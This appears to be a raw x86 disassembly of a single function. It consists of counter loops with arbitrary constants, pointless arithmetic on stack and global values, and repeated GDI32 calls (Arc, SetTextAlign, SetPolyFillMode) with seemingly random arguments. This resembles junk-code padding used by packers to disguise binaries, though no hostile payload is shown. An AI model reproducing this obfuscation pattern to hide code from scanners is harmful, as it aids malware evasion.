cmp dword [ebp - 0x2f0], 0x10134
ja 0x404ccf
mov edx, dword [ebp - 0x2f0]
add edx, 0xf4
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x90]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0xcc], edx
movzx eax, byte [ebp - 1]
movzx ecx, byte [0x407003]
shl eax, cl
mov ecx, dword [0x407048]
mov byte [ecx], al
push 8
mov edx, dword [ebp - 0x694]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x404c75
mov eax, dword [ebp - 0x2f4]
add eax, 0x11
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x94]
movzx edx, word [ecx]
movzx ecx, word [0x407018]
shl edx, cl
mov word [ebp - 0xa8], dx
mov eax, dword [ebp - 0x74]
movsx edx, byte [eax]
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x74]
mov byte [ecx], dl
cmp dword [ebp - 0x2f4], 0xb028
jbe 0x404ccf
push 0
mov edx, dword [ebp - 0x39c]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x2f8], 0x79fc
jbe 0x404d63
mov eax, dword [ebp - 0x2f8]
sub eax, 0xf2
mov dword [ebp - 0x2f8], eax
mov ecx, dword [0x407020]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x10]
xor edx, eax
mov word [0x407010], dx
jmp 0x404d2e
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x84]
sar edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
mov dword [ebp - 0x35c], 0xaab
push 0x2c
push 0x17
push 0xaf
push 0x50
push 0x7c
push 0xac
push 0x17
push 0xe4
mov ecx, dword [ebp - 0x698]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x2fc], 0xac13
jbe 0x404de2
mov edx, dword [ebp - 0x2fc]
sub edx, 0x5a
mov dword [ebp - 0x2fc], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xa0], ecx
jmp 0x404db1
lea edx, [ebp - 1]
mov dword [0x407068], edx
push 5
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x300], 0xcdd4
jb 0x404e2d
mov ecx, dword [ebp - 0x300]
sub ecx, 0xd7
mov dword [ebp - 0x300], ecx
movzx edx, word [ebp - 8]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x24], dx
jmp 0x404dfa
lea edx, [ebp - 0x16]
mov dword [ebp - 0x410], edx
push 8
mov eax, dword [ebp - 0x69c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov ecx, dword [ebp - 0x304]
sub ecx, 0x26
mov dword [ebp - 0x304], ecx
mov edx, dword [0x40701c]
movsx eax, word [edx]
mov ecx, dword [0x407028]
movsx edx, word [ecx]
and eax, edx
mov word [0x407008], ax
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xf4]
mov dword [edx], ecx
cmp dword [ebp - 0x304], 0x867f
ja 0x404e45
push 0x35
push 0xc2
push 0x6d
push 0xbd
push 0xb9
push 0x60
push 0x20
push 0xd7
mov eax, dword [ebp - 0x6a0]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x308], 0x3316
jb 0x404f0e
mov ecx, dword [ebp - 0x308]
sub ecx, 0x93
mov dword [ebp - 0x308], ecx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
mov ecx, dword [0x407034]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x40702c]
mov byte [ecx], al
jmp 0x404ebf
push 0x11
push 0x75
push 0xd9
push 0xf2
push 0x1d
push 0xfb
push 0xfc
push 0x1d
mov edx, dword [ebp - 0x6a4]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x30c]
sub eax, 0xe9
mov dword [ebp - 0x30c], eax
mov ecx, dword [ebp - 0x5c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x78]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x50], dx
cmp dword [ebp - 0x30c], 0xa9c6
jae 0x404f3d
movsx ecx, byte [ebp - 0x1d]
mov edx, dword [ebp - 0x6c]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xe4]
mov byte [edx], cl
push 0x7e
push 0x10
push 0x64
push 0x3f
push 0xb3
push 0xd4
push 0x39
push 0x51
mov eax, dword [ebp - 0x6a8]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x360], 0xbfef
cmp dword [ebp - 0x310], 0x5b38
jbe 0x404ff8
mov ecx, dword [ebp - 0x310]
sub ecx, 0x84
mov dword [ebp - 0x310], ecx
mov edx, dword [0x407054]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x10]
add eax, ecx
mov word [0x407010], ax
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x38]
or eax, dword [edx]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
jmp 0x404fb3
push 1
mov edx, dword [ebp - 0x6ac]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x314], 0x2064
je 0x405040
mov eax, dword [ebp - 0x314]
add eax, 0xc8
mov dword [ebp - 0x314], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc4]
mov dword [ebp - 0x120], edx
jmp 0x40500d
movzx eax, byte [ebp - 1]
movzx ecx, byte [0x407007]
xor eax, ecx
mov edx, dword [0x407024]
mov byte [edx], al
push 3
mov eax, dword [ebp - 0x52c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x318], 0x2ecb
jbe 0x4050c3
movzx ecx, word [ebp - 0x8c]
mov edx, dword [ebp - 0x418]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x34], cx
mov ecx, dword [ebp - 0x318]
sub ecx, 0x3b
mov dword [ebp - 0x318], ecx
movsx edx, byte [ebp - 0x15]
mov eax, dword [ebp - 0xdc]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0xe4]
mov byte [eax], dl
push 2
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x6b0], eax
jmp 0x405064
mov edx, dword [ebp - 0x31c]
add edx, 0xf3
mov dword [ebp - 0x31c], edx
movsx eax, word [ebp - 0xc]
mov ecx, dword [0x407020]
movsx edx, word [ecx]
or eax, edx
mov word [0x407058], ax
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0xb8]
add ecx, dword [eax]
mov edx, dword [ebp - 0x104]
mov dword [edx], ecx
cmp dword [ebp - 0x31c], 0x8a96
jne 0x4050c3
push 0x24
push 0xaa
push 0x2c
push 0x8c
push 0xbd
push 0xc9
push 0x3f
push 0x9a
mov eax, dword [ebp - 0x530]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x3cc], 0x86b6
cmp dword [ebp - 0x320], 0x25e2
jbe 0x405192
mov ecx, dword [ebp - 0x320]
sub ecx, 0x5b
mov dword [ebp - 0x320], ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [edx]
mov ecx, dword [0x407014]
shl eax, cl
mov dword [ebp - 0x120], eax
movzx ecx, byte [ebp - 1]
mov edx, dword [0x407034]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [0x407038]
mov byte [edx], cl
jmp 0x405148
push 4
mov eax, dword [ebp - 0x54c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x324], 0x827d
jbe 0x4051ee
mov ecx, dword [ebp - 0x324]
sub ecx, 0xa2
mov dword [ebp - 0x324], ecx
movzx edx, word [ebp - 0x40]
movzx ecx, word [ebp - 0xa4]
sar edx, cl
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0xdc]
movsx edx, byte [eax]
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xdc]
mov byte [ecx], dl
jmp 0x4051a1
push 8
mov edx, dword [ebp - 0x39c]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x328], 0x3d43
ja 0x405243
mov eax, dword [ebp - 0x328]
add eax, 0xd8
mov dword [ebp - 0x328], eax
movsx edx, word [ebp - 0xc]
movsx ecx, word [ebp - 0x10]
sar edx, cl
mov word [0x407010], dx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb4]
mov dword [edx], ecx
jmp 0x4051fd
push 1
mov eax, dword [ebp - 0x534]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x38c], 0xd54
cmp dword [ebp - 0x32c], 0xcc38
jb 0x405293
mov ecx, dword [ebp - 0x32c]
sub ecx, 0xbf
mov dword [ebp - 0x32c], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
and eax, dword [0x407014]
mov dword [ebp - 0x128], eax
jmp 0x405262
lea ecx, [ebp - 2]
mov dword [0x40706c], ecx
push 0x59
push 0x42
push 0x65
push 0xfb
push 0xde
push 0x3e
push 0xdf
push 0xc1
mov edx, dword [ebp - 0x450]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x330]
sub eax, 0xe6
mov dword [ebp - 0x330], eax
movzx edx, word [section..data]
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x50], dx
cmp dword [ebp - 0x330], 0x730e
jae 0x4052cb
mov dword [ebp - 0x394], 0x407002
push 0x88
push 0x74
push 0x6b
push 0x6f
push 0x78
push 0xc4
push 0x2f
push 0x86
mov ecx, dword [ebp - 0x538]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x6bc], eax
mov edx, dword [ebp - 0x334]
add edx, 0xab
mov dword [ebp - 0x334], edx
mov eax, dword [0x40701c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
add ecx, edx
mov word [0x407030], cx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
cmp dword [ebp - 0x334], 0x7f63
jne 0x405334
push 1
mov edx, dword [ebp - 0x6c0]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov eax, dword [ebp - 0x338]
add eax, 0x44
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0xe8]
sub ecx, dword [0x407014]
mov dword [ebp - 0xa0], ecx
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x407044]
mov byte [eax], dl
cmp dword [ebp - 0x338], 0xbf3e
jne 0x405384
push 2
mov ecx, dword [ebp - 0x6c4]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x33c], 0xee69
je 0x405426
mov edx, dword [ebp - 0x33c]
add edx, 0x4a
mov dword [ebp - 0x33c], edx
mov eax, dword [ebp - 0xec]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xa4]
shl edx, cl
mov word [ebp - 0xa8], dx
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
movsx edx, byte [0x407002]
or ecx, edx
mov eax, dword [ebp - 0x68]
mov byte [eax], cl
jmp 0x4053d9
push 2
mov ecx, dword [ebp - 0x588]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x340], 0xec2f
jae 0x4054aa
mov edx, dword [ebp - 0x340]
add edx, 0x5b
mov dword [ebp - 0x340], edx
movsx eax, word [ebp - 0x14]
mov ecx, dword [0x407020]
movsx edx, word [ecx]
and eax, edx
mov word [0x40705c], ax
mov eax, dword [ebp - 0xb8]
and eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
push 0x42
push 0x24
push 0x46
push 0xfb
push 9
push 0x7b
push 0xdc
push 0x4a
mov edx, dword [ebp - 0x6c8]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x540], eax
jmp 0x40543b
cmp dword [ebp - 0x344], 0xfcb1
je 0x4054ef
mov eax, dword [ebp - 0x344]
add eax, 0xdb
mov dword [ebp - 0x344], eax
mov ecx, dword [ebp - 0x88]
and ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 1]
and eax, ecx
mov edx, dword [0x407044]
mov byte [edx], al
jmp 0x4054aa
push 0x98
push 0x63
push 0x5e
push 0x57
push 0x4f
push 0xa4
push 9
push 0xa4
mov eax, dword [ebp - 0x6cc]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x348], 0xddb8
ja 0x40554b
mov ecx, dword [ebp - 0x348]
add ecx, 0x7c
mov dword [ebp - 0x348], ecx
mov edx, dword [ebp - 0x54]
movzx eax, word [edx]
movzx ecx, word [0x407018]
sub eax, ecx
mov word [ebp - 0x50], ax
jmp 0x40551b
mov edx, dword [ebp - 0x394]
movsx eax, byte [edx]
movsx ecx, byte [0x407002]
or eax, ecx
mov edx, dword [ebp - 0xdc]
mov byte [edx], al
push 0xa
push 0xab
push 0x4c
push 0x5f
push 0x79
push 0xb3
push 0x96
push 0x66
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x548], eax
mov ecx, dword [0x407020]
movsx edx, word [ecx]
movsx ecx, word [0x40700c]
shl edx, cl
mov word [0x407040], dx
mov eax, dword [ebp - 0x350]
add eax, 0x4a
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x84]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0xf4]
mov dword [edx], ecx
push 2
mov eax, dword [ebp - 0x34c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x350], 0xec12
jbe 0x405591
movzx edx, byte [ebp - 2]
movzx ecx, byte [0x40701a]
shl edx, cl
mov eax, dword [ebp - 0x1c]
mov byte [eax], dl
mov eax, dword [ebp - 0x84]
pop esi
mov esp, ebp
pop ebp
ret